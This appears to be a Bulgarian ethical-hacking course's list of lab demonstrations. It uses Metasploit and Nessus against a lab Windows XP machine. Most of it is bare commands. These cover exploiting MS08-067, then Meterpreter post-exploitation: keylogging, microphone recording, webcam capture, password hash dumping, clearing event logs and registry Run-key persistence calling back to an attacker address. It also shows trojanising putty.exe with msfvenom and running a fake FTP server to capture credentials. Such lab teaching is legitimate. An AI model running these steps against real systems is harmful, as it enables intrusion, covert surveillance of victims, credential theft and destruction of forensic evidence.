Демонстрация 1

1. service postgresql start
2. msfupdate
3. msfdb init
4. cat /usr/share/metasploit-framework/config/database.yml
5. msfconsole
    a. db_status
    b. db_rebuild_cache
    c. help

Демонстрация 2

1. msfconsole
    a. db_nmap –T4 –A –v 192.168.1.122
    b. hosts
    c. services

Демонстрация 3

1. Сканиране с Nessus GUI на 192.168.1.122
2. Създаване на политика
3. Експортиране на резултата
4. msfconsole
    a. db_import /root/XP_Scan__Ethical_Hacking__5e9edg.nessu
    b. hosts -c address,svcs,vulns
    c. vulns
5. msfdb init

Демонстрация 4

1. msfconsole
    a. load nessus
    b. nessus_help
    c. nessus_connect alex:**alex**@127.0.0.1
    d. nessus_policy_list
    e. nessus_scan_new
    f. nessus_scan_new ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66
       XP_scan_example XP_scan_description 192.168.1.122
    g. nessus_scan_list
    h. nessus_scan_launch
    i. nessus_scan_launch #
    j. nessus_report_hosts #
    k. nessus_db_import #
    l. vulns

Демонстрация 5

1. msfconsole
    a. **search netapi**
    b. **use exploit/windows/smb/ms08_067_netapi**
2. show options
3. set RHOST 192.168.1.122
4. show options
5. exploit

Демонстрация 6

1. ps
2. ps –S explorer.exe
3. migrate
4. run post/windows/gather/forensics/duqu_check
5. run post/ TABx2
6. pwd
7. cd → Desktop
8. mkdir HACKED ПРОВЕРКА
9. rmdir HACKED
10. Създаване на TXT файл
11. cat .txt
12. edit.txt
13. download .txt
14. rm .txt
15. search –f hosts.
16. edit hosts.
17. show_mount
18. arp
19. netstat
20. Route
21. route add 10.0.0.0 255.0.0.0 11.11.11.11
22. route delete 10.0.0.0 255.0.0.0 11.11.11.11
23. Getproxy
24. Portfwd
25. Sysinfo
26. Execute –f notepad.exe
27. Пускане на пасианс
28. Ps –S solitaire
29. Kill #
30. Getprivs
31. Проверка на логовете (Event Viewer)
32. Clearev
33. Проверка на логовете (Event Viewer)
34. reg enumkey -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN
35. reg setval -K reg enumkey -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN -v hackedAPP -d c:\\hacked.exe
36. Regedit Проверка
37. reg deleteval -k HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN -v hackedAPP
38. Shell
39. Getsystem
40. Idletime
41. Screenshot
42. Keyscan_start
43. ТЕКСТ
44. Keyscan_dump
45. Keyscan_stop

46. Uictl –h
47. uictl disable mouse
48. uictl enable mouse
49. Record_mic -h
50. record_mic -d 10 -f /root/EH_XP.wav -p false
51. Webcam_list
52. Webcam_snap
53. webcam_stream
54. Webcam_chat
55. Hashdump
56. run persistence –h
57. run persistence -U -i 5 -p 443 -r 192.168.1.116
58. reboot

Демонстрация 7

1. Download putty.exe -> /root
2. msfvenom -a x86 --platform windows -k -p windows/messagebox TEXT="ETHICAL HACKING!" -f exe -x /root/putty.exe -o putty1.exe

Демонстрация 8

1. Armitage

Демонстрация 9

1. msfconsole
    a. use auxiliary/server/capture/ftp
    b. set SRVHOST 192.168.1.116
    c. run
2. FTP -> 192.168.1.214